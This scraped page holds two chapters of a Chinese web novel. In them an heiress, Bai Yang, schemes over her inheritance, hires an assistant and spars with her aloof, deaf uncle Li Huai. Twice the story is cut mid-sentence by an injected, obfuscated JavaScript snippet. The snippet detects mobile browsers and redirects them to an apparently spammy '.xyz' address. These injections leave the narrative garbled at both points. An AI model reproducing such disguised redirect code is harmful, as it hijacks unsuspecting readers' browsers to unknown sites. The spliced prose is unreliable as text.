《霸总她今日复仇了吗》 3. 03 “也不是不行，只要你愿意。”白杨笑眯眯地说。 陈平正抬手又是一个脑瓜崩，虽然没用多少力气，白杨还是捂着脑门象征性地哀嚎了一声。陈平正笑哼：“我才不要，我是平头老百姓，住这里我要做噩梦了。” “你现在可不算老百姓了，你是亿万富翁的首席律师，我的钱就是你的钱，你想要多少我都能给你多少。” “你不要去犯法，我就谢天谢地了。”陈平正从腰间取出一个笔记，随手写下什么，“记得我们约定好的，如果你要是违约，我就立刻搜集你的罪状把你扔去联邦监狱。” “好~好，不可以违法道德良俗，不可以做扰乱社会的事情，对吧？”白杨走到客厅的大沙发前大字躺下，享受着皮制沙发柔软冰冷的触感，看向天花板上的水晶吊顶，“我现在一共有多少钱？” “两百八十亿美元，也就是两千两百亿元左右。” “流动资金呢？” “百分之五左右。” “那就是一百亿元。嗯……感觉想不出来有多少钱。” 白杨打开手机计算器，“地球上有八十亿人口，如果把我所有的钱平等分到每一个人手里，每个人能分到——大约二十七块五毛钱。” “刚好可以请所有人吃一顿饭。” “说的轻巧，可要实行起来，就是反人类一样的难度了。”白杨歪倒在沙发上，耷拉在沙发下的小腿晃来晃去，“做慈善的话，只要不是经由自己手，就会有贪污，涉及的人越多，贪污的金额也就越大。投资科学的话，我又不是行内人，说不定就被空壳科学家设计骗了。投资火箭卫星科技的话，有可能扰乱社会，投资医学倒是不错，但又不是短期内就能有效果的，还要预防学术造假。我可不太想被人看做是愚蠢大肥羊，助力他们那些丧天良的骗子买豪车住豪宅，包男模女模走上人生巅峰。” 白杨侧过身子，“这两千亿，究竟要怎么在两年内有意义的花光呢。” “那就直接走到大街上给每一个人一千万？”陈平正随意问道。 “想法挺好，不过真这么做的话，明天FBI就要敲上我的门了。而且，如果给的是一些很坏的人呢，赌狗毒虫罪犯呢？我可不想给这些家伙一分钱。就算给到的是好人，我也不认为忽然拿到这么多钱，他们都能变得幸福。也许甚至会因此，毁掉别人的人生也说不定。你看，以前那么多中彩票大奖的人，有多少人真的变得幸福了？人总是愿意高估自己的自制力，而低估自己的欲望。”白杨静静地说，“一夜暴富，一夜成名，对大多数人来说，真的是好事吗。” “阿杨，你为什么要执着一定花掉这些钱呢？”陈平正走到沙发旁坐下，目光认真地看向白杨，“自己随意一点，想做什么就做什么，享受剩下的人生，其余的事情，比如成立一个基金会，或者做类似诺贝尔奖那类的事情，把后续的事情，就交给老天，不也很好吗？这个世界本来就是这样的，只要有人，只要太阳还在升起落下，这个世界永远都会这样，有黑有白，就会有灰，有光明和黑暗，就会有影子，任何的事情永远都是多面的，你总不能要那些不好的事情都一下子消失，要所有人都能坦荡诚实的活着，那是童话世界，只有在童话里，梦想才会实现。” “童话……吗。”白杨侧头看向池子里盛开的荷花，“说起来，我好像还没有和平哥你说过。” “说什么？” “其实，我是来复仇的。” 白杨话音刚落，大开的门口传来一串敲门声，二人闻声看去，只见一个穿着宽松西装，梳着利落高马尾，看起来十分干练的女士，站在大门前，面带着标准的商务微笑，“您好，白总，我是程真，您的私人助理。” 白杨眼睛一亮，忽道：“提问，你出生的家乡在哪里。” “一个大山里的小农村，您应该没有听说过。” “这些年你家乡发展的如何？” “据说还不错，不过我已经很久没有回去了。” “为什么不回去？” “嗯……总裁，回答这个问题，会帮助到您吗？” “会，因为我有个小忙想要你帮我一下。” “在我上高中的时候，我唯一的亲人奶奶生病走了。那之后，我考到了上湾的大学，一个人去上湾读书后，就再也没有回去过了。” “如果给你一千万美元，用来资助你的家乡，你会怎么做？” 程真脸色微惊，“啊……？” “限时三秒回答，三，二——” “我——我想为大山里建一座公益性质的流动医院，可以帮助山里腿脚不便的老人，或者是孩子能够更快就医问诊，并且为那些驻守在大山中的医生们，提供一个更加科学的公益性的服务社区，并且向大家普及科学的急救知识，这样就不会像我奶奶当年……”程真的声音淡了淡，没有说完。 “好，这样，那我给你一千万美元，你能不能在一个下午拟出计划草案，并且找到可靠的人选负责这件事，一周内把这件事做个初步的规模出来，投入试运营里。” “您是说……”程真一脸不可置信。 “能吗？唯一的要求就是你需要找一个专业的摄影团队，将全程事无巨细的记录下来。” 程真目光熠熠，立刻重道：“没问题！”连声音都带上了一些不同于稳重外表的激动与亢奋。 “既然你是我的助理，负责开发票的事情以后就交给你负责，你应该有会计证书吧？” “当然！主要的USCPA、CICPA、ACCA、CFA，CMA我都有证书并且成绩优异，请您放心我的业务能力。” “哇。”陈平正目瞪口呆，“会计界的卷王出现了。” “你这顺口溜要把我绕晕了，虽然我听不懂但是感觉很厉害，太好了！我相信你。”白杨从沙发上坐起来，“至于钱，你直接去找小叔的私人会计领，毕竟马上我的钱就要他暂代我保管了，我还得问他要张卡来。” 程真从手上的公文包中立刻取出一张黑卡和一个支票簿，“对了，总裁让我把这个带给您，这是美国yt公司的百夫长黑卡，没有限额，您可以随意使用。这是您的支票簿，但属个人支票，不是企业支票，单张支票的上限是一万美元。” “没有限额，那我花多少都可以？” “这是总裁的副卡，因为是信用卡，理论上来说没有上限，不过如果您支付过多，可能会被yt公司进行风险评估，到那时会有专人联系总裁的助理。总裁也会知道。” “哦~他会知道？那我到是有点好奇了。”白杨眉眼弯弯，双手一拍，“说起来，今天可是我的生日，作为崭新的叔叔，带着陌生的侄女玩上半天，熟悉一下关系，应该不过分吧。” 白杨从沙发上鲤鱼打挺跳起，一个箭步冲向门外的白色本田，坐入主驾驶，“平哥，你的本田我先开走了，晚上派人给你送家门口！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735184|174053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你给我站住？！你有驾照没有啊！”陈平正焦急叫着冲出大门。 “放心我有考美国驾照的——”白杨一脚油门，本田消失无踪。 陈平正看着那本田的尾气，无奈叹气，“这丫头，我下午还要去税务局啊。” “要不，你坐我的车吧，我送你一程？正好顺路。”程真伸出手向陈平正笑道，“看您的装扮，您应该是总裁的私人律师？以后我们就是同事了，请多指教。” 陈平正笑着礼貌地轻握了下手，以示友好，有些抱歉地真挚道谢：“如果这样就太好了，不过你也还有事情要去做，就劳烦您把我送出小区，送到街道一旁就好，我打车过去，毕竟你的工作可比我要复杂得多，时间也要更宝贵。” 二人相视一笑，不约而同的在对方的眼中——看出了微妙的‘战友’情。 三洲集团的会议休息室内，几个男女正一边泡着咖啡，一边低声交谈着什么，眼睛时不时瞄向不远处大会议室的方向。 “你们幸亏没来今天的组会，可吓人了。那总裁刚走的时候，脸黑的比墨缸子还黑。” “啊！她们刚才说的是真的，在会上真有女孩子给总裁打电话啊？” “不知道，我和你说，幸亏那小姑娘说的是中文，咱们组里那些人听不懂，不然不等明天整个公司都要传开了。那小姑娘一开口就喊小叔，咱们老总裁就李总一个侄子，那小姑娘怎么可能是他亲侄女！一定是——咳咳，那个！” “这么劲爆，不是大家都说咱们总裁是无性恋，男的女的都不喜欢吗？” “你怎么知道总裁不喜欢，说不定人家藏得可好了，这些有钱人背地里玩多花还会告诉你个打工人吗。” 几个人都笑起来。 “不过你们说，那总裁干嘛要非在手机连大屏的时候接电话，难道这是什么新的官宣方式？咱们都是play的一环？” 话音刚落，只听见一串由远至近的极快脚步声响起，一个西装男推开休息的门，“快联系其他人，总裁马上要回来继续开会了。” 众人立刻噤声，不约而同地打开手机看了眼时间，才一点十五分，有人不由得哀嚎：“开会开会，天天开会个没完了，就算是对着总裁那张脸，一想到他是咱们加班的罪魁祸首，我就咬牙切齿啊。” 众人收拾东西走向会议室，当他们都在座位前坐下，打开电脑和资料，只见透明玻璃门外，忽地出现了一个从头到脚一身粉色的女孩子，推开会议室的大门，在室内左右张望，问道：“你们好，请问有见到李总吗？” 一男人立刻捂住嘴瞪大眼，肩头怼了一下身边的同事，低声连忙：“总裁电话里就是这个声音！” 白杨见几个人都呆坐在那里，若有所思，“现在不是集团的午休时间吗？你们在加班？” 几个人面面相觑，点了点头。白杨略微思索一天，走到会议中叉腰笑道：“我是你们的新总裁，你们好，我叫白杨，事不宜迟，今天下午你们带领着你们的组员全都放假吧。” “啊？”众人大惊。 “从今日开始，咱们公司的上班时间统一改为早十晚五，午休时间内不允许加班，一周双休，需要居家办公的时候全部都算加班，发双倍工资！” 众人目瞪口呆地看向那个笑容满面的女孩子，视线不约而同地，又一起缓缓移到会议室门口。 白杨回过头，恰好与站在门口的李槐，四目相对。 4.04 “小叔！今天这么凉快的好天气，就应该去室外玩呀，我刚给大家放了半天高温带薪假。” 李槐只是注视着白杨，抬手看了一眼腕表上的时间，大步错过白杨，坐到首席上，静声：“我刚才让你们准备的资料，都准备好了吗。” 一个看似是李槐助理的年轻男人快步走入会议室，接过众人准备好资料交给李槐。白杨双手环抱，见状毫不退让地说：“小叔，你现在也就四十岁，耳朵还不至于聋掉吧？我现在也是公司的总裁，这点权力应该是有的。” “公司不是你的过家家游戏，涉及新约总公司的事务，写好提案和理由交给我，由我裁决之后，才可以执行。”李槐冷声淡道，“而且，你的上任手续还没有办好，目前你还没有行使总裁的权力。” “那要多久才能办好？” “明天。”李槐一边审视着资料，一边翻开手边的黑色笔记本，取下胸口夹着的钢笔快速书写着。白杨缓步走到他的椅子旁边，歪头打量着李槐，他的目光沉稳，写下的字也十分工整锐利，字如其人。 “好吧，那我明天再拟定这个计划。不过……小叔，这都什么年代了，还在用纸笔办公呀？”白杨若有所思，“哦！我懂了，是为了防止黑客泄露吗？高端的防火墙，往往只用最朴素的方法？” 李槐看向自己身旁的助理，吩咐道：“孟祥，先把小姐送回去，再回来开会。” 白杨闻声，没等孟祥说话，沉默一瞬忽然发出爆笑，“什么呀，怎么你的人名字都这么奇怪，一个叫孟祥，一个叫程真，梦想成真——哈哈哈！小叔，你把这个人也给我好不好？我凑一个梦想成真组合！多喜庆呀！” 在场众人安静到一动也不敢动，看着李槐缓缓停下写字的手，目光越来越晦暗，身上都不由得惊出了冷汗。 “白杨。” 这是李槐第一次连名带姓的叫白杨的名字，没有任何情绪。白杨闻言笑眯眯地歪头，“干嘛那么客气，叫我阿杨就成了。” “据我所知，你的高考成绩并不优秀，并且高中时候常常缺勤，如果你被大学退学的话，我是不会同意你继续留在公司的。” 白杨随意地说：“怎么会退学呢，大不了就捐一些实验经费喽，再不济，那就不在国内上学了，来美国这边留学，随便找个大学上，进不去常青藤，总能找个本科把文凭混出来吧？” “三洲不收废物和蠢货。” “你这是偏见。”白杨闻言叉腰，“你怎么知道我学习成绩不好，就没有能力管理好公司呢？成绩代表不了一切，又不是人人都适合应试教育，能够在做题和背书里杀出一条路的，虽然我不是教育学家，但我想，大名鼎鼎的李大总裁，应该不会不明白因材施教，这四个字吧？社会是实力至上的，只用文凭去衡量一个人，三州集团的大总裁，原来这么傲慢？” “我没有偏见，只是在说事实。”李槐站起身，看着白杨，毫无情绪地说道，“如果你不想拿到文凭，很简单，拿出你的工作成果，向我证明，你有站在这里的资格，向我证明，你有价值，不是那些一事无成的废物和蠢货，有能力，坐到和我相同的位置上。” “否则，我想还是名义股东这个头衔，更适合你。” 李槐比白杨高出了几乎两个头，二人靠的极近时，李槐便完全俯视着只到自己胸口处的白杨。白杨抬头看着李槐，在众人的视线中，一把抓住李槐的领带，把他拽到自己面前，几乎要碰到鼻尖的距离。 白杨的力气有多大，她心里很清楚，李槐但凡用些力气，根本不可能被她拽动。他是故意低下身，与她四目相对，好让她看清他眼睛里毫不遮掩的冷漠。 白杨盯着李槐的眼睛，目光无声对峙，片刻，扬眉笑道：“这样看你，脖子好酸，下次和我说话的时候，能请小叔好好地坐在椅子上吗？” “我会证明给您看的，不过，在那之前——今天是我的生日，作为叔叔，在侄女生日的当天实现一个小小的愿望，应该不过分吧？”白杨低声侧到李槐耳边，用着只用两个人听见的声音，轻声耳语道，“你不好奇吗？” 李槐的眼睛缓缓移向白杨，没有说话。 “老爷子身为亚洲首富，这些年什么人没有见过，为什么却在临终前，心甘情愿地把所有的财产都无偿赠与我。你不想知道吗？我到底为什么——得到了老爷子的青睐。”白杨歪头笑，“实现我小小的愿望，说不定我心情好了，就告诉你一个秘密，我和老爷子的秘密。” “你的愿望是什么。” “好耶——你答应了！事不宜迟，我们马上动身去游乐园吧！”白杨欢呼一声，转身面向早已石化的众人，振臂一挥，“我宣布，放假，散会！” 一个小时后，新约市的特士尼乐园门前，人山人海的停车场车道前，赫然出现了一辆浅棕色的劳斯莱斯浮影，光滑的浅棕色金属漆面反射着日光，以航海风格设计的车身拥有着流畅到极致的线条感轮廓，一出现在车道上，就令众人不由得投来视线。 然后，那辆劳斯莱斯和其他车道上的车一样，堵在了拥挤的停车场门前，在保安和指挥员震惊的目光中，顺着排队的车流，一点点驶入停车场，找着车位。 “对嘛，这才对嘛，排队也是游乐场乐趣的一种——价值一个亿的跑车，照样在特士尼找不到停车位，这才公平嘛！”白杨哈哈笑道，望了一眼窗外拥堵的车流，继续躺倒在车椅上，好奇打量着车身。 她一会儿摸摸车板，一会儿摸摸头上的棚顶，摸摸这个，摸摸那个，虽然已经好奇了一路，但白杨还是很好奇这辆据说全球只有五辆，价值两千多万美元，换汇一亿多元的跑车，到底贵在了什么地方。 “小叔，我也想买一辆，你能帮我联系一下吗？我能不能做一辆粉色的，我最喜欢粉色了，朝霞的颜色，一半是太阳的红色，一半是月亮的白色，混合在一起就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738218|174053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成了粉色，很浪漫，不是吗？” 李槐只是冷着脸开车，没有说话，如同他这一路上一样沉默。 “你知道吗，老爷子经常跟我提起你，他说你什么都好，就是不爱说话，人闷闷的，也不爱和人交际，他说如果有一天我们两个人见面的话，让我多和你说说话，说不定你听我话说的多了，你也就爱上说话了。” 李槐依旧沉默。白杨随手点开音响，车内响起古典钢琴浑厚的声音，摁下切换音乐集的按钮，是古典交响乐，再摁切换，是中国古琴曲，再摁——竟然是豫剧。 当豫剧的戏腔响在车内的时候，白杨关掉音响，躺到车椅上，呆呆望天：“你的音乐品味，我到底该说你别具一格，品味高尚，还是该说你这个人——真的好枯燥。你的人生是不是没有娱乐？或者其实你不是人，而是个无情的工作机器仿生人？” “我不听音乐。”李槐静道，“这是车里自带的，我没有听过。” “哦——更不像人了！你不听音乐的话，可是会少掉这个世界上百分之八十的乐趣的。” “我听不见音乐。” 此话一出，白杨有些愣住，侧过头看向目视着前方的李槐。 “我天生听不见声音。” “那……你为什么能和我沟通？” 只见李槐摘掉银边眼镜，随手放在了一旁。白杨迟疑着伸出手拿起眼镜，待在脸上，只见眼前浮着一串小小的文字，那是她刚才对李槐说的话，一秒后，那字缓缓消失了。 白杨沉默着摘掉眼镜，放到一旁，李槐没有戴上，只是沉默开着车。白杨也没有再说话，呆呆的望向天花板。 “原来……是这样。” “所以现在，我说再多你的坏话，你也听不见了。” “……” “叔叔，你把我忘了。” 一路上，直到车在停车位停下，两个人也再没有说一句话。 正值暑假，特士尼乐园内十分热闹，从商业街到娱乐街，不论是项目处还是商店处，四处都挤满了人。 熙攘的人群中，穿着西装皮鞋的李槐，在一众穿着短袖短裤的人流中，显得尤其惹眼。本来他长得就高，一米□□的身高配上精壮的身材，再加上十分成熟的一张帅脸，一时吸引来了不少男男女女上前，询问是否可以拍照。 在李槐的脸彻底黑掉前，白杨礼貌地婉拒了所有人的拍照请求，拉着李槐就冲进街边一个卖服装的周边商品店，拿起几件衣服，推着李槐让他去试衣间换上。 也许是他也觉得西装确实很热，也行是他也觉得自己太过惹眼，他冷冷盯着白杨，把手中的衣服扔回到白杨怀中，转身什么衣服也没有拿，大步走进试衣间。 白杨看着怀里被退回来的粉色比尼熊印花背心，和挂了毛绒熊尾的蜂蜜印花短裤——好吧，看来他不太喜欢比尼熊。 可是，他不拿衣服，去试衣间做什么。